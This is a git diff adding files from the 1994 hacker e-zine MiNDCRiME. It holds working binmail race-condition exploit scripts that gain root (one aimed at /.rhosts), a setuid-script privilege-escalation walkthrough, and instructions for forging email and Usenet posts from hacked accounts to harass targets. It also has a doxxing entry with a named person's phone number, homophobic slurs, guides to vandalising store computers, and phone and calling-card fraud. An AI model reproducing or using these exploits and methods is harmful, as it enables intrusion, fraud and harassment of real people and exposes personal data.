you know of an +untracable STMP site, please let me know. The recipient will get the +following (shown with full headers, your mail viewer may not show them all +but they are there, just the same). + +From root@cert.org Mon Dec 12 02:22:26 1994 +Return-Path: +Received: from my.fake.mail.com victim.com (4.1/SMI-4.1) + id AA22748; Mon, 12 Dec 94 02:21:23 PST +Received: from buttfuck.com by my.fake.mail.edu; Mon, 12 Dec 94 04:18:54 -0500 +To: j00@victim.com +Subject: repeated breakin attempts. +Message-Id: <2eec2399487d002@my.fake.mail.edu> +Date: Mon, 12 Dec 94 04:19:05 -0500 +From: root@cert.org +Status: RO +X-Status: + +This is an automatic warning generated by a security daemon. +Warning is hereby given to you that unless you cease from your +unlawful activities on the network, criminal charges will be +sought against you. + +This is your final warning. The FBI has been notified of +your activities. + +You need not reply to this, but should you have any questions, +you may call us directly with this reference number: Q3-23-A. + +Have a nice day. BITCH! +--------------------- + + I embellished a little. my.fake.mail.edu is the mail server you +used, victim.com is your mark's address and buttfuck.com is you. Still, +unless someone points out a better way, there is no way to get rid of this: + +Received: from buttfuck.com by my.fake.mail.edu; Mon, 12 Dec 94 04:18:54 -0500 + +So, if you can, telnet to somewhere else before telnetting you your fake mail +server. + +FAKE NEWS + + Fake news rox. I allways post fake news to the gay areas of usenet. +You can either post to gay areas, post to alt.test to get your mark about +1000 automatic replies, or cross post wildly to groups that have nothing +to do with what you are posting about so that every Mr. Butt-cheese will +write your mark (and his postmaster which could get him kicked if +enough complaints come in) bitching of an inapropriate cross-post. + You can't telnet to just any NNTP server and post. You can usually +only do it from a host in the NNTP's domain. So use a hacked account for +this. Some sites use a seperate news server in their domain for news. If +you can't find the site, type tin -r and watch for "Connecting to +news.masterbation.com" (or whatever) to find the host then telnet to that +site. You will be using port 119, folks, and if any1 knows an anonymous +access NNTP server, lemmie know. Here's an example: + +200 bondage.buttfuck.com InterNetNews NNRP server INN 1.4 20-Mar-93 ready +(posting ok). + + group alt.homosexual +211 171 32393 32563 alt.homosexual + + post +340 Ok + + Newsgroups: alt.homosexual <--- separate by commas. 1 must match + From: solctice@iia.org ^your "group" command + Organization: Idiots Is Awesom <-- anything here + Distributions: world <-- a must + Subject: GWM in need of companion. + + Hello all! I'm looking for a nice single gentleman in the NJ + area to get together with. I'm sorta lonely so if you'd like to meet + email me! + -Jim + (not really necessary) + . +240 Article posted +quit +205 Connection closed by foreign host. + + The message will show up on usenet within about 20 mins. Here's +what it will look like: + +From bondage.buttfuck.com!news Mon Dec 12 05:03:45 1994 +Path: bondage.buttfuck.com!news +From: solctice@iia.org +Newsgroups: alt.homosexual +Subject: GWM in need of companion. +Date: 12 Dec 1994 09:59:03 GMT +Organization: Idiots Is Awesom +Lines: 5 +Message-ID: <3ch6t7$2kn@bondage.buttfuck.com> +NNTP-Posting-Host: sodomy.buttfuck.com <--unavoidable unless + you post from the site of your mark. +Distribution: world + +Hello all! I'm looking for a nice single gentleman in the NJ +area to get together with. I'm sorta lonely so if you'd like to meet +email me! +-Jim + + bondage is the NNTP server and sodomy is the host you posted from +so be sure to use a hacked acct. Like I said most of this is common +knowlege to all hackers. The trick here is most effective use out of it. +Use your imagination. People get really pissed on UseNet. Time Magazine +recently wrote an article on UseNet and how people who cross post get +thousands of nasty replies. One good use of this is to incorporate the +"Make Money Fast" scam into this and cross-post to every group from your +mark. Time said a lot off ppl got pissed, a lot. So do it up. Remeber, if +you're gonna get revenge, don't do it with sticks and stones, do it nuclear. +-h0wcum + +JUST IN: (old news, but I just found it) These are NNTP servers +which you can telnet to from anywhere: + +This list was compiled by Matthew Ghio (ghio@myriad.pc.cc.cmu.edu). +[Edited by me to remove no posting and non workable sites] + ccvax.ucd.ie + myriad.pc.cc.cmu.edu + news.c2.org + news.cis.nctu.edu.tw + news.csie.nctu.edu.tw + news.usafa.af.mil [u try it, not me :) ] + + diff --git a/textfiles.com/magazines/MINDCRIME/mc-10.txt b/textfiles.com/magazines/MINDCRIME/mc-10.txt new file mode 100644 index 00000000..d49dd7ae --- /dev/null +++ b/textfiles.com/magazines/MINDCRIME/mc-10.txt @@ -0,0 +1,58 @@ +================================[MiNDCRiME]================================ +[File #10:] +[Courtesy of Rerror] + +These are two articles about John Falcon's arrest that appeared +in the Anchorage Daily News in Alaska: + +Police Report + +Hacker accused of computer fraud +A 20-year-old Anchorage man has been charged with four counts +related to computer fraud. Donald Max Fanning is accused of +breaking into a computer system at a Seattle-based company and +illegally charging phone calls to the Federal Aviation +Administration and MarkAir. The charges also allege that +Fanning stole property from Elmendorf Air Force Base and +illegally obtained a password that could have allowed him to +break into a government computer. Fanning is scheduled to be +arraigned in U.S. District Court today. + Daily News staff report + +Hacker gets 20-month sentence + +By S.J. Komarnitsky +Daily News Reporter + + An Anchorage man convicted of computer hacking has +been sentenced to 20 months in federal prison. + Donald Max Fanning was also ordered to pay $21,000 in +restitution and perform 200 hours of community service. + Fanning, 20, pleaded guilty in June to two counts of +computer fraud, one count of fradulant use of an access +device, and theft of U.S. government property. + Assistant U.S. Attorney Jim Torgerson said the charged +included stealing computer equipment from Elmendorf Air Force +Base, illegally charging more than $1,700 in long-distance +calls to the Federal Aviation Administration and MarkAir, and +breaking into a Seattle-based computer company. (Typist: I +know this to be Tera Computer) + Fanning also posted the code he used to charge calls +to the FAA on a voice-mail system. + Torgerson said Wednesday that most of the money - +about $14,000 - would go to the Air Force to cover the cost of +the stolen equipment. An additional $4,800 would go to the +Seattle company to repay its costs in tracking Fanning down, +while the remainder would be given to the FAA and MArkAir to +pay for the phone calls. + Fanning will be on probation for three years following +his release. As part of his sentence, he will not be allowed +to own or use any computer during that time. +-- +You can E-Mail him at jfalcon@ice-bbs.alaska.net ... I will +print out and send anything sent here to him in prison. Responses +will be E-Mailed back. + + +================================[MiNDCRiME]================================ + diff --git a/textfiles.com/magazines/MINDCRIME/mc-11.txt b/textfiles.com/magazines/MINDCRIME/mc-11.txt new file mode 100644 index 00000000..ac689c6a --- /dev/null +++ b/textfiles.com/magazines/MINDCRIME/mc-11.txt @@ -0,0 +1,94 @@ +================================[MiNDCRiME]================================ +[ File #11:] + + +[ I was told this was *thee* absolute latest sendmail script. If I am wrong, + spank me, cuz not only do I not give a flying fuck, but there are so many + sendmail exploits, it makes my head spin and I do not even try to keep + up with all of them. -hC ] + +#!/bin/sh +# tmpmail: overwrite files using binmail +# +# Usage: tmpmail to-file +# +# [8lgm], tested under SunOS 4.1.2. +# +# Definitely NOT for distribution, please do not use for cracking purposes! +# This script is only to be provided to trusted users, due to poor +# workaround chances. +# +# Note: Script only works if mail is suid root. +# Other vendors may use tmpnam("ma"). +# +# This vulnerability can be exploited for sgid +# mail binmails, the only modification would +# be to predict the pid of the mail process +# created by sendmail. This would be 4 forward +# of the current pid - assuming a 'quiet' system. +# +# Will create to-file, or truncate. + +PATH=/usr/ucb:/usr/bin:/bin export PATH +IFS=" " export IFS + +PROG="`basename $0`" + +# Check args +if [ $# -ne 1 ]; then + echo "Syntax: $PROG to-file" + exit 1 +fi + +TO_FILE="$1" + + +# Create our racing program! + +cat > mailrace.c << 'EOF' +#include +#include + +char path[] = "/tmp/maaXXXX"; + +main(argc,argv) +int argc; +char **argv; +{ + int pid; + char *trv; + + if (argc != 3) { + fprintf(stderr, "Usage: %s pid tofile\n", argv[0]); + exit(1); + } + + pid = atoi(argv[1]); + +/* Stolen from mktemp.c */ + for (trv = path; *trv; ++trv); /* extra X's get set to 0's */ + while (*--trv == 'X') { + *trv = (pid % 10) + '0'; + pid /= 10; + } + + symlink("/tmp/ShortSong", path); + while(symlink(argv[2], path)); + unlink("/tmp/ShortSong"); + exit(0); +} +EOF +cc -o mailrace mailrace.c + +# Check we now have mailrace +if [ ! -x "mailrace" ]; then + echo "$PROG: couldnt compile mailrace.c - check it out" + exit 1 +fi + +# create some input for binmail +echo localhost $USER > /tmp/BlueRoom.$$ +./mailrace $$ $TO_FILE & +exec /bin/mail -d $LOGNAME < /tmp/BlueRoom.$$ + +================================[MiNDCRiME]================================ diff --git a/textfiles.com/magazines/MINDCRIME/mc-2.phk b/textfiles.com/magazines/MINDCRIME/mc-2.phk new file mode 100644 index 00000000..659bcc47 --- /dev/null +++ b/textfiles.com/magazines/MINDCRIME/mc-2.phk @@ -0,0 +1,1493 @@ + + + + # # # # ###### ##### ###### # # ####### + ## ## # ## # # # # # # # # ## ## # + # # # # # # # # # # # # # # # # # # # + # # # # # # # # # # ###### # # # # ##### + # # # # # # # # # # # # # # # + # # # # ## # # # # # # # # # # + # # # # # ###### ##### # # # # # ####### + + - - - - - ------ ----- - - - - - ------- + - - - - -- - - - - - - - - - - + - - - - - - - - - - - - - - - + - - - - - - - - - - ----- - - - - ----- + - - - - - - - - - - - - - - - - - - - + -- -- - -- - - - - - - - - -- -- - +- - - - ------ ----- ----- - - ------- + + Issue #2 + "Holy fux, Batman!" + Dec 1, 1994 + + =================================[MiNDCRiME]================================== + MiNDCRiME Magazine is protected under Copywright laws of the United States + and Europe. No portion of this work may be duplicated without the expressed + permission of the editor. MiNDCRiME Magazine may be distributed freely + as long as the distributed copy is unaltered. Use of MiNDCRiME within any + corporation whether private or government is subjected to a fee. E-Mail + mndcrime@m-net.arbornet.org for information on commercial license. + =================================[MiNDCRiME]================================== + + + + [Table Of Contents] + + File #1: + b. Article submission information. + c. About articles that appear in MiNDCRiME. + d. EDiTORiAL: IRC thoughts by h0wcum. (continued) + File #2: Sendmail: the latest exploit by zomo. + File #3: Beginner's Guide to Hacking continues with setuid stuff from + zomo. + File #4: MiNDCRiME's Official Emmy Awards. + File #5: eASE dROPPING aND cARDS by iP + File #6: How to Mess up Department Store Macs By C-D and Walrus + File #7: Phreaking, a Beginner's Guide by WyreTapp. + File #8: Stealing Comic Books by kid Eternity + File #9: Getting Even: the sequel your momma warned you about. + b: Supplimental Toolz: Fake Mail + News + File #10: News Flash: Hacker gets 20-month sentence. Courtesy Rerror. + File #11: New sendmail hole? + +================================[MiNDCRiME]================================ + + Introduction + + Welcome to iSSUE #2 of MiNDCRiME. Things are rolling now, we are +a little late with this issue because some of our authors are late +sending in their articles. The initial reaction to MiNDCRiME has been +mixed. There are people who say it rox, and there are ppl who say it sux. +Nevertheless, I have been highly sought after since publishing the first +issue. + +MiNDCRiME is: + h0wcum : editor + Valgamon: assistant editor. (welcome aboard!) + iP : global co-ordinator. + oJ : Staff dude + Digital : Staff dude + + So here is the second issue. I hope everyone gets a little +something from it. Enjoy and don't get caught. + +================================[MiNDCRiME]================================ + Submission Information + + If you would like to submit an article, email the article as well as your + handle to: mndcrime@cyberspace.net. All submissions are subjected to + editing and rejection. We are currently looking for articles on: + + Easy systems, + Hacker's sites, BBSs and FTP sites on the net. + Unix hacking tutorials, src codes, bugs, shell scripts, etc. + Recent information on Kevin Mitnick. + Unix and general computer jokes. + World hacking and phreaking news. + Use your imagination. + + Direct all comments and questions to the address noted above. + Direct all flames to /dev/null or my anus, whichever floats your boat. +==================================[MiNDCRiME]=============================== + + About Article Submission + + Some people have pulled me aside on IRC to tell me they thought +certain submitted articles in issue #1 were lame. I'd just like to point +out that the people who write for us put a bit of effort into their work +and it isn't fair to shoot them down so quickly. I'd also like to add +that if you hotshots think you can do better, you are *more* than welcome +to submit an article. + Remember, next time it could be you they are saying wrote a lame +article. We try hard, Valgamon and I to put out the best magazine that we +can. You can take your attitudes and put them where the sun don't shine. +If you have some constructive criticism to offer, we will be happy to +hear it, but if you want to cop an attitude with us, you can eat me. + +================================[MiNDCRiME]=============================== + + Thoughts on IRC + by h0wcum + + As you all know #hack is +i. I'd like to start off this message +saying that I intend no disrespect to any of those who have chosen to +make #hack invite only. This is merely my opinion, which is shared by +many, even those who choose not to gripe openly about it. + + For quite some time #hack has had its doors open to all who wished +to enter. That was the essence of the channel. The only time I have known +#hack to be invite only is when the channel has been taken over, and it +it appears now that it has been taken over for the final time, on a more +permanent basis. + + No one person, or small group of people own #hack. No one has the +right to make the channel invite only: it's like inviting or refusing +quests to someone elses' house. You have no right to make #hack +i. It's +*not* yours. The decision to make #hack +i was brought about by +one individual and supported by others. It is, however, contested by +many, some of which who are ops, who have tried to make #hack -i and +ended up in a +i <--> -i war with len. + + Let's forget for a moment that you have absolutley *no fucking* +right to make any permanent descisions on the channel. Let's forget that you +have to be re-opped evertime you join #hack and that #hack does not +automattically role out the red carpet and op you when you join. Let's +examine, if you will, the inconvenience factor. + + I usually get invited to #hack, that is, when ops are awake. Getting +into the channel at night or even at 8am is another story. Check it: + +<-[len]-> invite #hack +*** len is away: ask mark ][ceman or loki or y or loq +<-[mark]-> invite #hack +*** Mark is away: Doing evil thigns to evil things +<-[][ceman]-> invite #hack +<-[y]-> invite #Hack +*** y: No such nick/channel +<-[loq]-> invite #hack +*** loq is away: ZZzzzZZZ...msg len loki ragent gentry for invite +<-[ragent]-> invite #hack +*** ragent: No such nick/channel +<-[gentry]-> invite #hack +*** gentry: No such nick/channel +<-[loki]-> inite #Hack + + .... or my personally favorite circular reference: + +<-[len]-> invite +*** len is away: ask mark +<-[mark]-> invite +*** Mark is away: ask len + + As you can see, one has to fuck around for a time just +to get an invite. You end up in a big circle of invite /msg's +just to get into a channel that should be allowed in with no +hassle. + + This is rediculous. I emplore those who are holding +#hack hostage to take a fucking step back and realizee that +you have exactly *squats* worth of authority to make it +i, +especially when there are so many against it. len, you don't +own #hack, I don't know who you are, but in all my time on +#hack, I've just started to see you around in the last few +months, unless you went by another nick. + + I don't wanna blow sunshine up anyone's ass, but I'd +like to open this to a vote. If you are a non-op on #hack, send +e-mail to our address and explain your position on this. Also, I am +not trying to blow sunshine up anyone's ass, but this shit has got to end. + + + +==================================[MiNDCRiME]=============================== + + + +=================================[MiNDCRiME]================================== +[FiLE #2:] + +[Here's the latest binmail script. I don't know how many of you have it, +but here it is. This is courtesy of zomo. ] + +From zomo@narqlinq.net23.com Sat Oct 8 10:28:21 1994 +Date: Sat, 8 Oct 1994 10:01:48 -0500 +From: zomo@narqlinq.net23.com + +#!/bin/sh +# +# This exploits a flaw in Ultrix/SunOS binmail(1), and attempts +# to embarrass the admin, by creating an motd entry. +# +# Written 1994 by Nate Lawson +# Minor Revisions by Chris Ellwood +# Thanks go to 8lgm for the basic script format. + +PATH=/usr/ucb:/usr/bin:/bin export PATH +IFS=" " export IFS +PROG="`basename $0`" +ME="`whoami`" +PWENT="`hostname` `whoami`" + +cat > race.c << 'EOF' + +#define TARGET "/.rhosts" + +#include +#include +#include + +int main( ac,av) int ac; char **av; +{ + unsigned int pid,bpid; /* Some machines don't have pid_t */ + int i; + char target[13]; + strcpy (target,"/tmp/maa"); + /* General format for binmail temp names */ + + if ((pid = fork())==0) { + sleep (2); + nice (19); /* Increase our chances and ... */ + execl ("/bin/mail","mail",0); /* Fork binmail */ + } + + bpid=pid; /* back up our pid for a later time */ + + for (i=11;i>=8;i--) { + target[i]=(pid%10) + '0'; + /* Make the name for the tempfile */ + pid /= 10; + } + while (!symlink(TARGET,target)) unlink (target); + /* Point that mktemp()'d file to the pot of gold */ + while (symlink(TARGET,target)) unlink (target); + /* Probably not necessary, but what the heck */ + + kill(bpid,1); /* Clean up, don't want to lag the system */ +} + +EOF + +cc -O -s -o race race.c + +# Check we now have race +if [ ! -x "race" ]; then + echo "$PROG: couldnt compile race.c - lame!" + exit 1 +fi + +OLD_TARGET_LEN=`ls -ld $TARGET_FILE |awk -F' ' '{print $4}'` 2>/dev/null +NEW_TARGET_LEN=$OLD_TARGET_LEN + +cp /usr/spool/mail/$ME /tmp/$$ # Backup the mail spool.. we need it +cp /dev/null /usr/spool/mail/$ME +echo "" >> /usr/spool/mail/$ME +echo $PWENT >> /usr/spool/mail/$ME +echo "" >> /usr/spool/mail/$ME + +while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do + ./race & + RACE_PID=$! + sleep 4 + NEW_TARGET_LEN=`ls -ld $TARGET_FILE |awk -F' ' '{print $4}'` 2>/dev/null + kill -9 $RACE_PID +done + +# We won the race +echo "Succeeded.." +# Add back our spool.. don't want to lose our mail. +cp /dev/null /usr/spool/$ME +cp /tmp/$$ /usr/spool/mail/$ME +rm -f /tmp/$$ race race.c +exit 0 + +=================================[MiNDCRiME]================================== + + +=================================[MiNDCRiME]================================== +[FiLE #3:] +[I'd like to remind folks that this is the "Beginner's" section. Most of + you will know this. I don't need to hear colorful remarks about + how "old" this is. -hc] + + "Why shell scripts with the set-user-id bit set aren't safe?" + by zomo + + Most shells will run as a login shell if the first character of their +argv[0] starts with a '-'. This is how login manages to give you a login +shell (check login.c). It calls csh as '-csh'. One of the things that a +login shell does is read your .profile or .cshrc. + + On some systems, the shell is stupid enough to read and run $HOME/.profile +(or equivalent) even if it is running set-uid (effective uid != real uid). + + So, +% ls -l /usr/local/bin/setuid-shell-script +-rwsr-xr-x 1 root 51763 Nov 16 1993 setuid-shell-script +% cat > .profile << _EOF_ +cp /bin/sh /tmp/fuck +chown root.wheel /tmp/fuck +chmod 4755 /tmp/fuck +_EOF_ +% ln -s /usr/local/bin/setuid-shell-script -gotcha +% ./-gotcha +% /tmp/fuck +# + + You got it! And there is another easy-to-exploit bug with set-uid shell +script. +% ls -l /usr/local/bin/setuid-shell-script +-rwsr-xr-x 1 root 51763 Nov 16 1993 setuid-shell-script +% ln -s /usr/local/bin/setuid-shell-script -i +% ./-i +# + Try it and think how it works (or it doesn't work ;) ). + + Now for the second security hole. It works on almost all #! systems. +Not only with shell scripts. When the kernel execs a file, it looks for +a magic number in the first two bytes ( try % man a.out ). If the magic +number is '#!', then it takes the next one or two tokens, execs file +into which token parsed, with the full pathname of the script as an +argument. ( get the kernel source of BSD unix and check exec.c ) +So if /user/crash/dummies starts with: + +#!/bin/sh + then the kernel, in the process of loading this, would do: +execute "/bin/sh /user/crash/dummies". In other words, /bin/sh would +have /user/crash/dummies as argv[0]. If it was +#!/bin/csh -f + then the kernel would execs "/bin/csh -f /user/crash/dummies" + + The important thing to note here is that the shell re-opens the file +fo itself. The kernel does not pass an open file descripter to shell. +The race condition arises here. + +% ls -l /usr/local/bin/setuid-shell-script +-rwsr-xr-x 1 root 51763 Nov 16 1993 setuid-shell-script +% ln -s /usr/local/bin/setuid-shell-script hack-link +% cat > hack-commands << _EOF_ +cp /bin/sh /tmp/fuck +chown root.wheel /tmp/fuck +chmod 4755 /tmp/fuck +_EOF_ +% ./hack-link + + So the kernel stat()s hack-link. stat() follows the link and see the +set-uid bit set with setuid-shell-script and the owner being root. So +the kernel sets uid to root (check exec.c, you can find this routine). +Then it executes the following command: + +/bin/sh /user/danny/hack-link +with uid set to 0. + The uid-zero shell opens /user/danny/hack-link. The open() follows the +link and opens the file at the other end (/usr/local/bin/setuid-shell-script) +and executes the commands from it. Still no security hole. + But what if while the kernel was doing this, you did: +% rm mylink; ln -s /user/danny/hack-commands /usr/danny/hack-link + Now when the kernel followed hack-link, +it found /usr/local/bin/setuid-shell-script. So it set uid to 0. But the +time the /bin/sh follwed hack-link to open it, it find it was linked to +hack-commands, not /usr/local/bin/setuid-shell-script. So it execute +hack-commands as root. + + Now you will almost certainly not win such a race with the kernel. + +But you can increase the probability of win a race by increasing +system load (i.e. execute X application, compute complex math problem) +and doing race with fast and optimized C program. + +The moral of story: DO NOT SET-UID ANY SCRIPTS. + +================================[MiNDCRiME]================================ +[FiLE #4:] + MiNDCRiME Presents: + + Asshole of the Month + + The Official Anus Emmy + + Presented to: blootin + + Runner's up: Solctice, heretic, b1tchez. + [Pretty soon, Solctice will be like Whitney, snagging + all the awards..] + +================================[MiNDCRiME]================================ + + _____ _____ + |_ _| Roses are red, |_ _| + n (O O) n Violets are blue, n (O O) n + H _|\_/|_ H You fuxed with me, j00 H _|\_/|_ H + nHnn/ \___/ \nnHn So fux yew, times 2!! nHnn/ \___/ \nnHn + + \__\/| |\/__/ \__\/| |\/__/ + +================================[MiNDCRiME]================================ + + MiNDCRiME Presents: + Narq of the Year + + The Official Trust Me Not Emmy + + Presented to: Skipjack + + Runners up: pX (email me for his inpho) + + Hark! I am a narq! + + Of stark nature and poise, + I lurch silently amongst the noise. + + Your info, haveth I + Dick size, hair color and cbi + Watch me, j00, I am a spy! + + When u fux up, you will hear, + Skipjack narqed you out, sweet and dear. + + Fux with me not, + For I shall narq, + Destroy your family, will I do + Just for fuxing with me on IRC, j00. + + + +================================[MiNDCRiME]================================ + + MiNDCRiME Presents: + + Fag of the Century + + The Official Buttfuck.Com Emmy + + Presented To: Solctice + + Runners up: no one, he won by a long shot. + + + I don't even know where to begin. Why don't you call him yourself: + + Jim Reinknecht (Solctice) 908-832-6633 + + [I know it's lame, but considering the numberous times he + put my info up on irc... Merry Christmas, fucker.] + +================================[MiNDCRiME]================================ +================================[MiNDCRiME]================================ +[FiLE #5:] + + eASE dROPPING aND cARDS + y---[MiNDCRiME #2!]---y + aRTICLE tYPED bY iP?! + _ _ _____ 12.o4.94 ]____ _ _ + +Every now and then, those of us who take the time to be +observant stumble across something remarkable. Let me +relate to you one of those experiences. +It was an all too lazy sunny afternoon in Indiana. I +was bored, and I decided to listen to my Realistic +PRO-2004 scanner. I flipped it on and scanned through +the usual federal government, military aviation, and +cordless phone frequencies, but there was no action to +be found. I happened to come across some scrambled DEA +transmissions and a droning cordless phone conversation +by some neighbors I could not identify. So for a +change I decided to scan through the marine radio +channels. The scanner then stopped on marine radio +channel 26, which is used to ship-to-shore telephone +calls. A man was reading off his calling card number +to the operator, who gladly accepted and connected his +call. Calling card numbers over the airwaves! I was +shocked -- astonished that such a lack of security +could not only exist, but be accepted practice. + +I began mointoring marine telephone to find out more, +and it turns our that using a calling card for billing +is commonplace on VHF marine radiotelephone. People use +calling cards for billing all the time. That's what +the are for. But is it that big of a deal? [k0d3z!] +You bet it is. Marine telephone uses two frequencies, +one for the ship and one for the shore station. +[obviously] +The shore station transmits both sides of the +conversation at a some-what considerable power, enough +to offer reliable communications up to 50 miles +offshore. Anyone with a standard police type scanner +costing as little as $100 can listen in. People using +marine radiotelephonecan be broadcasting their calling +card number to a potential audience of thousands. +[k0d3z] And that just shouldn't be happening, but it +is. [I won't complain] And there is no doubt that +calling card fraud is occurring because of this lack of +security. + +From the phone compant's [many Bell and non-Bell +companies provide marine telephone service] point of +view it must be a trade-off for customer convenience. +You see, there just aren't that many ways to bill a +ship-to-shore call. Most calls are collect, a few are +billed to the ship if they have an account, and a few +go to third party numbers [hehe] or other special +accounts. .. Sometimes the operators have trouble +verifying billing information. I monitored one man, +who after racking-up $40 worth of AT&T charges was +informed that they couldn't accept his international +account number. The operator finally coaxed him into +giving a address for billing. Calls are often billed +to third party numbers with verification [hmm], but +calling cards make billing easy for both the customer +and the phone company involved. It would also be +tricky for a company to not allow calling card use +[very tricky]. Doing so would be a inconvenience to +customers and would force them to admit a lack of +communications security. Of course people using marine +radio should already realize that their conversations +aren't private, but announcing the fact wouldn't help +the phone compant at all. In fact, people may place +less calls. + +The convenience offered by calling cards makes them an +easy target for fraud. They can be used by anyone from +any phone and with a variety of different long distance +carriers via 10XXX numbers. No red of blue box +hardware necessary here, just 14 digits, but of course, +the number won't be valid for long after all those +strange charges start showing up on someone's bill. It +should be noted that when a calling cafd is used, the +number called, time and date of call, and location [and +often, the number] from which the call was placed are +printed on the bill. A fraudulent user could be caught +via that information if they were careless. Also, some +long distance companies may contact the owner of the +card if they notice and unusually high number of +charges on the card. .. Long distance companies bear +with the brunt of the bills caused by calling card +fraud. However, if you read the fine print, the cards +offered by many companies have a certain minimum amount +that the customer must pay, say $25 or $50. [I have yet +heard of a case where a phone compant got away with +charging a customer when the only thing stolen was a +number and not the card itself] .. So, whats the moral +of the story? Simple. Be damn careful what you say +over any radio, and that included cordless and cellular +telephones. + +Also, be careful about how sloppy you are when using +cards. If you are using a calling card, enter it with +touch tones. =) If you happen to make VHF marine +radiotelephone calls, bill collect or charge to your +phone number as you would to a third party number -- +without the last four calling card digits. For the most +part radio communications are easy to intercept, and +keeping them secure is up to you. Then again, it gives +hackers and phreakers the cutting edge, and I must say +no one is in any situation to bitch or complain. + +================================[MiNDCRiME]================================ +[File #6:] + + [This is sortof an example of what NOT to send us. I posted this + because the author was kind enough to send it and because it's kinda + funny. In the future, folkx, please only send h/p related files. -hc] + + + How to mess up department store Macs + By C-D and Walrus + + Messing up department store Macs is a fun a wholesome activity + that can be enjoyed by the whole family. Some of these might + be to complicated to do in a store without people getting suspicious, + but they are fun anyways. Here's some favorites! + +* Make a copy of the system folder, leave it next to the other system + folder. This will screw up the system, and to boot you will need + a system disk. + +* Make tons of copies of all the extensions in the extension folder. + This makes the startup a very slow one, and could cause conflicts + +* Bring a modified system and finder from home. You should have + edited it with ResEdit, for example make the "Are you sure you + want to empty the trash?" dialog into something like "The gamma + correction buffer on this monitor has failed, please step away + from the monitor and seek help from a qualified technician". + +* Get a startup pict + of a dialog box saying "Are you sure you wish to purge your ROM? + This process is irreversible" and have the cancel button grayed out. + A couple more you could try: + +* Switch the empty and bulging Trash icons, so that the trash looks + empty when it contains files, and bulges when empties. + +* Edit the balloon Help text strings (most of the are in easy-to-access + STR# resources so that pointing to a window's Close box produces + a help balloon that says "click this box will cause + irreparable damage to the motherboard" + +* Edit the MENU resource to turn a separator line in a menu into an + alluring new menu command (like "Double Processing Speed") that + doesn't work. + +* Use ResEdits MENU editor to change all text in menus to white, + rendering the commands completely invisible. (they still work, + you just can't see them) + +* Replace the standard alert box icon with the System Bomb icon. + +* Re-map the keyboard so that pressing any key produces a semi-colon. + +* Change the names of an applications menus, so that the File + menu contain the Format commands and vice-versa + +* Install a desktop pattern consisting entirely of Trash can icons, and + then hide the trash in the pattern. + +* Create a startup screen that features a realistic System bomb message, + urging the user to restart the Mac immediately. + +* Switch the trash and hard drive icons, give them each others names. So + much fun to watch them trash the whole hard drive. + +* To crak At-Ease, simply hit the programmers switch and type G FINDER . + + This will quit At-Ease and return you to the finder for your hours of + wholesome fun. If you don't have a programmers button, you can also + try command power which might + or might not work. + +* If you really want to down the Mac, make some files in teach text + (about3-5). Name them all .sony . Put one on the desktop, one in + the first HD window, one in the System folder. If you have any left, + sprinkle them gingerly through the System folder. Restart, and the + Mac will attempt to use the files as Hard Drive Drivers. This can + completely corrupt the hard drive, its tons of fun. + +* Unplug and plug back in the ADB cables, this makes all the ADB devices + work very oddly. + +* Randomly unplug cables, and plug them back into other sockets. Its + great to see the expressions on sales peoples faces. + +* Switch the keyboard type in the control panels, this will mess up + everything you type. + +* Take an old disk and bend the metal sliding cover thing a bit out. Put + the disk in, and then try to eject it, if it came out bend the + metal more and put it in again. This works like an arrow or fishhook, + it goes in but does not come out. + +* Push the restart button, and then repeatedly push the programmer + button while the startup sound is playing, then leave the computer + sitting with the sad Mac. + +* Remove the monitor cable just a bit, so that everything appears green, + or red, or purple=8Apsychedelic! + +* Name the finder 'finderL' Restart and run away, watch as dumbfounded + salespeople open the case to make sure the HD is really there. + +* Make all the icons that are root folders invisible , and name + them with=spaces. Watch the clerks go nuts! + + If you want to get in touch with us, we are C-D and Walrus on IRC, + have phun... :) + +================================[MiNDCRiME]================================ +==== Phreaking, a Begginers Guide +==== By: WyreTapp +==== Nov 25th, 1994 +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +Disclaimer: Every phile needs on of these. :( I, Bud Wieser, and the + contributors of this document are not responsible for any + damages caused by the use of it. In no way do we condone + or encourage (hehe) you, the reader, to put this information + into practice. + +Intro. +-=-=-=-=-= + Lame ass right?? Well FUCK YOU! There have been tons of philes +written on boxing, but I felt like writing one too. Its a good way to learn +how to write, and you seem to remember everything quicker. So, im gonna +share my experiences with you readers, so that you too may cope with the +crude and harsh remarks from the city-boyz on the net. Have fun, and enjoy. +All of this HAS BEEN DONE AND WORKS IN MY AREA. I will not include a bunch +of theoretical BS that MAY work- only the real thing for the real peoplz. + +Whats phreaking?? +-=-=-=-=-= + Good question. Its the abuse of a phone system. It usually involves +stealing from the phone company, or a person; resulting in lotsa phun. + There are many branches of phreaking, with many sub-levels. You +will probably find that you cannot do everything in your area. This is +mainly because of new security features installed, and the wide-spread use +of the Digital Switching System. You may want to phreak just for phun, +or, you may want to hack some local place without getting caught. For +whatever reason, it never hurts to know. :) + +Sounds phun- what do I do? +-=-=-=-=-= + This is REALLY easy. The first thing your going to want to do is +build yourself a tool known as a BEIGE BOX. This is probably the MOST +usefull tool around (the Red Box MIGHT be in your area). Before I go into +any depth, I will tell you how to make one + You need + ---------- + 1 piece of phone cord (with a plug on each end) + A set of wire cutters + 2 Alligator Clips (Of diffrent colors) + + Assembly + ---------- + 1) Grab phone cord in left hand. + 2) Grab wire cutters in right hand. + 3) Cut off the plug on one end of the phone cord. + 4) Attach the alligator clips to the RED and GREEN wires. + (May be BLUE and WHITE) + 5) Pour beer on cat. + + There ya go, a Beige box. It should look something like this. + >-. ________________________,---. + ---> `====`------------------------;___| <--- Plug (Jack) + Clips >-' ^Phone cord + + If you can't figure this out, stop reading, get a LONG peice of +rope, make a noose, tie it too a friends car, stick your head in, and tell +your friend to step on the gas. + Now what- You got yourself this phone cord with alligator clips +on one end. What will you do with it?? Read on. + Get a phone. The best kind is a hand-set that requires no base. +These are much eaiser to store, and can be connected/disconnected with great +ease. Plug the JACK end of the Beige Box into the phone. You now have +a linemans handset. + + +Where to use. +-=-=-=-=-= + + The next step is too find a place to use your new toy. Go outside +and walk down the street. See those telephone poles? If you dont, then you +got yourself an under-ground wire. These can be very difficult, or very +easy. Look around for a man hole that has your telco's initials on it. +The man-hole will be slightly bigger than the others around it. After you +have found it read on too the "Canning" section. + + If you do see telephone poles, try following them. Remember that +the lower wires are CABLE and TELEPHONE. The power lines SHOULD have an +insulator (a piece of ceramic) holding them away from the pole, so 